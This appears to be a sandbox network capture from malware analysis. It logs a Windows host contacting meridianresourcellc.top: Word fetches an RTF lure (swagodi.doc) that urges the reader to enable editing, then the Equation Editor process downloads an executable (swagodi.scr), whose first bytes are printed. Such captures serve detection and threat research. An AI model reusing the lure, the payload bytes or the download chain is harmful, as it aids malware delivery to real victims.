2024-07-26 21:45:13 UTC	729	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:13 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Allow: OPTIONS,HEAD,GET,POST,TRACE CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fjW7GyfMpPq3HDavzIlWnOqIeVHIi2SA4Q2XFkzFGkvYIjteaf5K125v8a5kTvnAG%2Bby0Xy0jTiKVXx15%2B3yoQ%2Fe4qPlw56vWi9BlLV%2FQOeQL3sQBudlZZoKI%2FqhLcj6ndRbalpNjU%2Bkmw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8a97934f5a51197c-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.22	49164	104.21.52.88	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:13 UTC	170	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 36 2e 31 2e 37 36 30 31 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 6d 65 72 69 64 69 61 6e 72 65 73 6f 75 72 63 65 6c 6c 63 2e 74 6f 70 0d 0a 0d 0a Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: meridianresourcellc.top
2024-07-26 21:45:14 UTC	742	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 26 Jul 2024 21:45:14 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Allow: OPTIONS,HEAD,GET,POST,TRACE CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WLYGWhyaPAdzx81SI%2Bx4I5Y1g1JcsrbCrwjcKftRSAUfOLX7tRhMd1a4qxuqrNQmdyq52V0kDVqK2r3GdIof2zP2uFNLni%2FaWxnfSdk1fZDb2CrJxWRXdfi3MYE47H1jbeufSXlD58Bdfg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8a9793568fcd43a5-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:14 UTC	231	IN	Data Raw: 65 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 50 52 4f 50 46 49 4e 44 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: e1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method PROPFIND is not allowed for this URL.</p></body></html>
2024-07-26 21:45:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.22	49165	104.21.52.88	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:15 UTC	170	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 36 2e 31 2e 37 36 30 31 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 6d 65 72 69 64 69 61 6e 72 65 73 6f 75 72 63 65 6c 6c 63 2e 74 6f 70 0d 0a 0d 0a Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: meridianresourcellc.top
2024-07-26 21:45:15 UTC	742	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 26 Jul 2024 21:45:15 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Allow: OPTIONS,HEAD,GET,POST,TRACE CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RSgsQGDe5jhP50qqbdlZGxgDKSPLkhvMkg89hwWfJiEzjRXz6Kapz5hZYaoaJmmp4WU1qWlZzeD15gVYSlMHq9fcjzRq3emEGjAuu8WArJgQYX%2FyddiWPwmmXpbURQsOd%2BgnOxcbVvv90g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8a97935f485042a7-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:15 UTC	231	IN	Data Raw: 65 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 50 52 4f 50 46 49 4e 44 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: e1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method PROPFIND is not allowed for this URL.</p></body></html>
2024-07-26 21:45:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49166	104.21.52.88	443	748	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:16 UTC	365	OUT	GET /swagodi.doc HTTP/1.1 Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14) UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: meridianresourcellc.top Connection: Keep-Alive
2024-07-26 21:45:16 UTC	847	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:16 GMT Content-Type: application/msword Content-Length: 711568 Connection: close Last-Modified: Fri, 26 Jul 2024 01:21:05 GMT ETag: "66a2fa01-adb90" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 CF-Cache-Status: HIT Age: 66369 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fBHI3ikGGI8lpg0fufmVZzJ%2BexoDZSkNGjkLtVCLHiD2SK0M73amRRr6pjDa2B1MGkCPA0D95x8nWlwck9QpL5WG4yJXbVc4MaXiWMB2YuamHfd5btGDnSNAw7v5ro3OXGgMsVkLu1ybZQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8a9793673f7fc327-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:16 UTC	522	IN	Data Raw: 7b 5c 72 74 66 31 0d 0d 7b 5c 2a 5c 75 6f 77 39 42 71 63 38 50 74 58 54 50 33 69 38 35 44 72 34 52 79 55 6c 6e 70 4d 35 4e 69 31 4c 33 63 70 65 4a 61 77 53 61 74 72 51 6b 57 79 53 71 70 52 35 41 5a 4f 79 53 30 49 6f 55 52 61 4e 6d 74 59 70 64 30 56 4b 4d 4c 37 71 7d 0d 0d 7b 5c 38 32 35 34 34 30 39 39 38 70 6c 65 61 73 65 20 63 6c 69 63 6b 20 45 6e 61 62 6c 65 20 65 64 69 74 69 6e 67 20 66 72 6f 6d 20 74 68 65 20 79 65 6c 6c 6f 77 20 62 61 72 20 61 62 6f 76 65 2e 54 68 65 20 69 6e 64 65 70 65 6e 64 65 6e 74 20 61 75 64 69 74 6f 72 73 92 20 6f 70 69 6e 69 6f 6e 20 73 61 79 73 20 74 68 65 20 66 69 6e 61 6e 63 69 61 6c 20 73 74 61 74 65 6d 65 6e 74 73 20 61 72 65 20 66 61 69 72 6c 79 20 0d 0d 0a 73 74 61 74 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 Data Ascii: {\rtf1{\*\uow9Bqc8PtXTP3i85Dr4RyUlnpM5Ni1L3cpeJawSatrQkWySqpR5AZOyS0IoURaNmtYpd0VKML7q}{\825440998please click Enable editing from the yellow bar above.The independent auditors opinion says the financial statements are fairly stated in accordance
2024-07-26 21:45:16 UTC	1369	IN	Data Raw: 6f 20 70 6c 61 6e 20 74 68 65 20 61 75 64 69 74 2e 20 41 75 64 69 74 6f 72 73 20 75 73 65 20 74 68 69 73 20 75 6e 64 65 72 73 74 61 6e 64 69 6e 67 20 6f 66 20 69 6e 74 65 72 6e 61 6c 20 63 6f 6e 74 72 6f 6c 73 20 74 6f 20 61 73 73 65 73 73 20 74 68 65 20 72 69 73 6b 20 6f 66 20 6d 61 74 65 72 69 61 6c 20 0d 0d 0a 6d 69 73 73 74 61 74 65 6d 65 6e 74 20 6f 66 20 74 68 65 20 66 69 6e 61 6e 63 69 61 6c 20 73 74 61 74 65 6d 65 6e 74 73 20 61 6e 64 20 74 6f 20 64 65 73 69 67 6e 20 61 70 70 72 6f 70 72 69 61 74 65 20 61 75 64 69 74 20 70 72 6f 63 65 64 75 72 65 73 20 74 6f 20 6d 69 6e 69 6d 69 7a 65 20 74 68 61 74 20 72 69 73 6b 2e 54 68 65 20 64 65 66 69 6e 69 74 69 6f 6e 20 6f 66 20 67 6f 6f 64 20 0d 0d 0a 69 6e 74 65 72 6e 61 6c 20 63 6f 6e 74 72 6f 6c 73 20 Data Ascii: o plan the audit. Auditors use this understanding of internal controls to assess the risk of material misstatement of the financial statements and to design appropriate audit procedures to minimize that risk.The definition of good internal controls
2024-07-26 21:45:16 UTC	1369	IN	Data Raw: 64 65 66 69 63 69 65 6e 63 79 20 69 6e 20 69 6e 74 65 72 6e 61 6c 20 63 6f 6e 74 72 6f 6c 20 74 68 61 74 92 73 20 0d 0d 0a 73 65 76 65 72 65 20 65 6e 6f 75 67 68 20 74 6f 20 62 65 20 63 6f 6e 73 69 64 65 72 65 64 20 61 20 6d 61 74 65 72 69 61 6c 20 77 65 61 6b 6e 65 73 73 20 6f 72 20 73 69 67 6e 69 66 69 63 61 6e 74 20 64 65 66 69 63 69 65 6e 63 79 20 69 73 20 77 68 65 6e 20 61 6e 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 20 6c 61 63 6b 73 20 74 68 65 20 6b 6e 6f 77 6c 65 64 67 65 20 61 6e 64 20 0d 0d 0a 74 72 61 69 6e 69 6e 67 20 74 6f 20 70 72 65 70 61 72 65 20 69 74 73 20 6f 77 6e 20 66 69 6e 61 6e 63 69 61 6c 20 73 74 61 74 65 6d 65 6e 74 73 2c 20 69 6e 63 6c 75 64 69 6e 67 20 66 6f 6f 74 6e 6f 74 65 20 64 69 73 63 6c 6f 73 75 72 65 73 2e 44 65 66 69 63 Data Ascii: deficiency in internal control thats severe enough to be considered a material weakness or significant deficiency is when an organization lacks the knowledge and training to prepare its own financial statements, including footnote disclosures.Defic
2024-07-26 21:45:16 UTC	1369	IN	Data Raw: 65 63 74 65 64 2e 4f 74 68 65 72 20 69 6e 74 65 72 6e 61 6c 20 63 6f 6e 74 72 6f 6c 20 64 65 66 69 63 69 65 6e 63 69 65 73 20 69 64 65 6e 74 69 66 69 65 64 20 64 75 72 69 6e 67 20 74 68 65 20 61 75 64 69 74 20 74 68 61 74 20 61 72 65 20 6e 6f 74 20 63 6f 6e 73 69 64 65 72 65 64 20 73 65 76 65 72 65 20 0d 0d 0a 65 6e 6f 75 67 68 20 74 6f 20 62 65 20 73 69 67 6e 69 66 69 63 61 6e 74 20 64 65 66 69 63 69 65 6e 63 69 65 73 20 6f 72 20 6d 61 74 65 72 69 61 6c 20 77 65 61 6b 6e 65 73 73 65 73 20 6e 65 65 64 20 6e 6f 74 20 62 65 20 63 6f 6d 6d 75 6e 69 63 61 74 65 64 20 69 6e 20 77 72 69 74 69 6e 67 2e 20 49 66 20 61 75 64 69 74 6f 72 73 20 64 65 74 65 72 6d 69 6e 65 20 74 68 65 20 0d 0d 0a 64 65 66 69 63 69 65 6e 63 69 65 73 20 61 72 65 20 69 6d 70 6f 72 74 61 Data Ascii: ected.Other internal control deficiencies identified during the audit that are not considered severe enough to be significant deficiencies or material weaknesses need not be communicated in writing. If auditors determine the deficiencies are importa
2024-07-26 21:45:16 UTC	1369	IN	Data Raw: 20 74 68 6f 73 65 20 63 68 61 72 67 65 64 20 77 69 74 68 20 67 6f 76 65 72 6e 61 6e 63 65 2e 44 75 72 69 6e 67 20 74 68 65 20 63 6f 75 72 73 65 20 6f 66 20 61 6e 20 0d 0d 0a 61 75 64 69 74 2c 20 74 68 65 20 61 75 64 69 74 6f 72 73 20 6d 69 67 68 74 20 61 6c 73 6f 20 69 64 65 6e 74 69 66 79 20 6f 74 68 65 72 20 6d 61 74 74 65 72 73 20 74 68 61 74 20 61 72 65 6e 92 74 20 63 6f 6e 73 69 64 65 72 65 64 20 64 65 66 69 63 69 65 6e 63 69 65 73 20 69 6e 20 69 6e 74 65 72 6e 61 6c 20 63 6f 6e 74 72 6f 6c 2c 20 62 75 74 20 61 72 65 20 0d 0d 0a 6f 70 70 6f 72 74 75 6e 69 74 69 65 73 20 66 6f 72 20 73 74 72 65 6e 67 74 68 65 6e 69 6e 67 20 70 72 6f 63 65 64 75 72 65 73 20 61 6e 64 2f 6f 72 20 6f 70 65 72 61 74 69 6e 67 20 64 65 66 69 63 69 65 6e 63 69 65 73 2e 20 54 Data Ascii: those charged with governance.During the course of an audit, the auditors might also identify other matters that arent considered deficiencies in internal control, but are opportunities for strengthening procedures and/or operating deficiencies. T
2024-07-26 21:45:16 UTC	1369	IN	Data Raw: 0a 67 6f 76 65 72 6e 61 6e 63 65 20 77 69 74 68 20 76 61 6c 75 61 62 6c 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 72 65 67 61 72 64 69 6e 67 20 74 68 65 69 72 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 2e 20 55 73 65 64 20 70 72 6f 70 65 72 6c 79 2c 20 74 68 65 20 4d 61 6e 61 67 65 6d 65 6e 74 20 4c 65 74 74 65 72 20 63 61 6e 20 62 65 20 61 20 62 65 6e 65 66 69 63 69 61 6c 20 74 6f 6f 6c 20 0d 0d 0a 66 6f 72 20 61 73 73 69 73 74 69 6e 67 20 6d 61 6e 61 67 65 6d 65 6e 74 20 6f 72 20 74 68 6f 73 65 20 63 68 61 72 67 65 64 20 77 69 74 68 20 67 6f 76 65 72 6e 61 6e 63 65 20 69 6e 20 66 75 6c 66 69 6c 6c 69 6e 67 20 74 68 65 69 72 20 72 65 73 70 6f 6e 73 69 62 69 6c 69 74 69 65 73 25 34 34 25 36 46 25 36 33 25 37 35 25 36 44 25 36 35 25 36 45 0d 0d 0a 25 37 34 25 Data Ascii: governance with valuable information regarding their organization. Used properly, the Management Letter can be a beneficial tool for assisting management or those charged with governance in fulfilling their responsibilities%44%6F%63%75%6D%65%6E%74%
2024-07-26 21:45:16 UTC	1369	IN	Data Raw: 35 25 36 45 25 37 34 25 36 39 25 36 46 0d 0d 0a 25 36 45 25 36 31 25 36 43 25 32 30 25 36 39 25 36 45 25 37 34 25 36 35 25 37 32 25 36 31 25 36 33 25 37 34 25 36 39 25 36 46 25 36 45 25 37 33 25 32 30 25 37 34 25 36 46 25 32 30 25 37 30 25 37 32 25 36 46 25 36 44 25 36 46 25 37 34 25 36 35 25 32 30 25 37 34 25 36 38 25 36 35 25 32 30 25 37 30 25 37 32 25 36 46 25 36 34 25 37 35 25 36 33 25 37 34 25 37 33 25 32 30 25 36 31 25 36 45 0d 0d 0a 25 36 34 25 32 30 25 37 33 25 36 35 25 37 32 25 37 36 25 36 39 25 36 33 25 36 35 25 37 33 25 32 45 25 32 30 25 34 37 25 37 35 25 36 35 25 37 32 25 36 39 25 36 43 25 36 43 25 36 31 25 32 30 25 36 44 25 36 31 25 37 32 25 36 42 25 36 35 25 37 34 25 36 39 25 36 45 0d 0d 0a 25 36 37 25 32 30 25 37 33 25 37 34 25 37 32 25 36 Data Ascii: 5%6E%74%69%6F%6E%61%6C%20%69%6E%74%65%72%61%63%74%69%6F%6E%73%20%74%6F%20%70%72%6F%6D%6F%74%65%20%74%68%65%20%70%72%6F%64%75%63%74%73%20%61%6E%64%20%73%65%72%76%69%63%65%73%2E%20%47%75%65%72%69%6C%6C%61%20%6D%61%72%6B%65%74%69%6E%67%20%73%74%72%6
2024-07-26 21:45:16 UTC	1369	IN	Data Raw: 25 32 30 25 36 46 25 36 32 25 37 33 25 36 35 25 37 32 25 37 36 25 36 39 25 36 45 25 36 37 25 32 30 25 36 31 25 36 45 25 36 34 25 32 30 25 37 35 25 36 45 0d 0d 0a 25 36 34 25 36 35 25 37 32 25 37 33 25 37 34 25 36 31 25 36 45 25 36 34 25 36 39 25 36 45 25 36 37 25 32 30 25 37 34 25 36 38 25 36 35 25 32 30 25 36 33 25 37 35 25 37 33 25 37 34 25 36 46 25 36 44 25 36 35 25 37 32 25 32 37 25 37 33 25 32 30 25 37 30 25 37 32 25 36 39 25 36 33 25 36 35 25 32 30 25 36 31 25 36 45 25 36 34 25 32 30 25 36 32 25 36 43 25 36 43 25 32 30 70 6c 65 61 73 65 20 63 6c 69 63 6b 20 45 6e 61 62 6c 65 20 65 64 69 74 69 6e 67 20 66 72 6f 6d 20 74 68 65 20 79 65 6c 6c 6f 77 20 62 61 72 20 61 62 6f 76 65 2e 54 68 65 20 69 6e 64 65 70 65 6e 64 65 6e 74 20 61 75 64 69 74 6f 72 73 Data Ascii: %20%6F%62%73%65%72%76%69%6E%67%20%61%6E%64%20%75%6E%64%65%72%73%74%61%6E%64%69%6E%67%20%74%68%65%20%63%75%73%74%6F%6D%65%72%27%73%20%70%72%69%63%65%20%61%6E%64%20%62%6C%6C%20please click Enable editing from the yellow bar above.The independent auditors
2024-07-26 21:45:16 UTC	1369	IN	Data Raw: 6f 66 20 61 63 63 6f 75 6e 74 20 62 61 6c 61 6e 63 65 73 20 6f 72 20 66 69 6e 61 6e 63 69 61 6c 20 73 74 61 74 65 6d 65 6e 74 20 64 69 73 63 6c 6f 73 75 72 65 73 2c 20 79 6f 75 72 20 69 6e 74 65 72 6e 61 6c 20 63 6f 6e 74 72 6f 6c 73 20 61 72 65 20 63 6f 6e 73 69 64 65 72 65 64 20 74 6f 20 62 65 20 64 65 66 69 63 69 65 6e 74 2e 41 75 64 69 74 6f 72 73 20 0d 0d 0a 65 76 61 6c 75 61 74 65 20 65 61 63 68 20 69 6e 74 65 72 6e 61 6c 20 63 6f 6e 74 72 6f 6c 20 64 65 66 69 63 69 65 6e 63 79 20 6e 6f 74 65 64 20 64 75 72 69 6e 67 20 74 68 65 20 61 75 64 69 74 20 74 6f 20 64 65 74 65 72 6d 69 6e 65 20 77 68 65 74 68 65 72 20 74 68 65 20 64 65 66 69 63 69 65 6e 63 79 2c 20 6f 72 20 61 20 63 6f 6d 62 69 6e 61 74 69 6f 6e 20 6f 66 20 0d 0d 0a 64 65 66 69 63 69 65 6e Data Ascii: of account balances or financial statement disclosures, your internal controls are considered to be deficient.Auditors evaluate each internal control deficiency noted during the audit to determine whether the deficiency, or a combination of deficien
2024-07-26 21:45:16 UTC	1369	IN	Data Raw: 61 63 6b 73 20 61 20 72 65 61 73 6f 6e 61 62 6c 65 20 65 78 70 6c 61 6e 61 74 69 6f 6e 20 66 6f 72 20 74 68 65 20 64 65 63 69 73 69 6f 6e 2e 20 0d 0d 0a 46 6f 72 20 65 78 61 6d 70 6c 65 2c 20 6e 6f 6e 70 72 6f 66 69 74 73 20 74 68 61 74 20 6c 61 63 6b 20 74 68 65 20 61 62 69 6c 69 74 79 20 74 6f 20 70 72 65 70 61 72 65 20 74 68 65 69 72 20 6f 77 6e 20 66 69 6e 61 6e 63 69 61 6c 20 73 74 61 74 65 6d 65 6e 74 73 20 6f 66 74 65 6e 20 66 69 6e 64 20 69 74 20 63 6f 73 74 20 70 72 6f 68 69 62 69 74 69 76 65 20 74 6f 20 72 65 6d 65 64 79 20 0d 0d 0a 74 68 65 20 64 65 66 69 63 69 65 6e 63 79 20 62 79 20 74 72 61 69 6e 69 6e 67 20 63 75 72 72 65 6e 74 20 65 6d 70 6c 6f 79 65 65 73 20 6f 72 20 62 79 20 68 69 72 69 6e 67 20 61 64 64 69 74 69 6f 6e 61 6c 20 65 6d 70 Data Ascii: acks a reasonable explanation for the decision. For example, nonprofits that lack the ability to prepare their own financial statements often find it cost prohibitive to remedy the deficiency by training current employees or by hiring additional emp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49167	104.21.52.88	443	748	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:18 UTC	154	OUT	HEAD /swagodi.doc HTTP/1.1 User-Agent: Microsoft Office Existence Discovery Host: meridianresourcellc.top Content-Length: 0 Connection: Keep-Alive
2024-07-26 21:45:18 UTC	859	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:18 GMT Content-Type: application/msword Content-Length: 711568 Connection: close Last-Modified: Fri, 26 Jul 2024 01:21:05 GMT ETag: "66a2fa01-adb90" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 CF-Cache-Status: HIT Age: 66371 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=em5IUTDkNWkl8HXCcoopv5kVxg5%2B6d0ml85snYrjbdnIm9xJjZyCK%2Bctuoc8qEXdzJ6DuEDMhQdB5%2BRWKxMZZXKFJ0A%2BL6n10rUiskFRWesgKW9mul%2FDJqRyulv%2Bo8Kk%2FZErk9aiLgUT3g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8a979370cfce7cf9-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49168	104.21.52.88	443	3408	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:20 UTC	321	OUT	GET /swagodi.scr HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: meridianresourcellc.top Connection: Keep-Alive
2024-07-26 21:45:20 UTC	787	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:20 GMT Content-Type: application/x-silverlight Content-Length: 683016 Connection: close Last-Modified: Fri, 26 Jul 2024 12:01:08 GMT ETag: "a6c08-61e25444207e0" Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xXZkEQvAtIqq3yu0%2BSEv%2FWYlNsMq9zX5bCNI3VAIw1h9yEpOadLa%2F92ptRSSWYOgt3h9S30uc9rkJzP2aDLMZKJWvSkD%2F16%2B5qdnqb80Us64ZLnwWMDrPCQvYfIwOe4cNo%2BDDh5WIl9B6w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8a97937f190c4345-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:20 UTC	582	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 78 8f a3 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 2a 0a 00 00 0a 00 00 00 00 00 00 56 49 0a 00 00 20 00 00 00 60 0a 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 0a 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELxf0*VI `@ @
2024-07-26 21:45:20 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 5e 02 14 7d 02 00 00 04 02 28 16 00 00 0a 00 00 02 28 08 00 00 06 00 2a 13 30 03 00 2f 00 00 00 01 00 00 11 00 28 17 00 00 0a 02 fe 06 09 00 00 06 73 18 00 00 0a 6f 19 00 00 0a 02 fe 06 0a 00 00 06 73 1a 00 00 0a 20 00 00 05 00 6f 1b 00 00 0a 0a 2a 00 1b 30 02 00 80 00 00 00 02 00 00 11 00 03 72 01 00 00 70 6f 1c 00 00 0a 0a 06 2c 0b 06 28 01 00 00 2b 16 fe 02 2b 01 16 0c 08 2c 0b 06 16 9a 6f 1e 00 00 0a 0d 2b 53 03 6f 1f 00 00 0a 0b 00 07 13 04 16 13 05 2b 37 11 04 11 05 9a 13 06 00 00 02 11 06 28 03 00 00 06 13 07 11 07 28 20 00 00 0a 16 fe 01 13 08 11 08 2c 05 11 07 0d de 1b 00 de 05 26 00 00 de 00 00 11 05 17 58 13 05 11 05 11 04 8e 69 32 c1 14 0d 2b 00 09 2a 01 10 00 00 00 00 43 00 23 66 00 05 1c 00 00 01 1e 02 7b 01 00 Data Ascii: ^}((0/(sos o0rpo,(++,o+So+7(( ,&Xi2+*C#f{
